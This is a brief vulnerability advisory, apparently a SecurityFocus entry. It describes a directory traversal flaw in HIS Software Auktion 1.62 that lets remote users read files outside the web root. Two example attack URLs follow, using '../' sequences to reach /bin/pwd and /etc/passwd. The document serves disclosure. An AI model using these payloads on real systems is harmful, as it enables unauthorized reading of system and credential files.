source: https://www.securityfocus.com/bid/2367/info

A remote user could gain read access to known files outside of the root directory where HIS Software Auktion 1.62 resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file. This vulnerability could also lead to the execution of arbitrary code.

http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../bin/pwd

http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../etc/passwd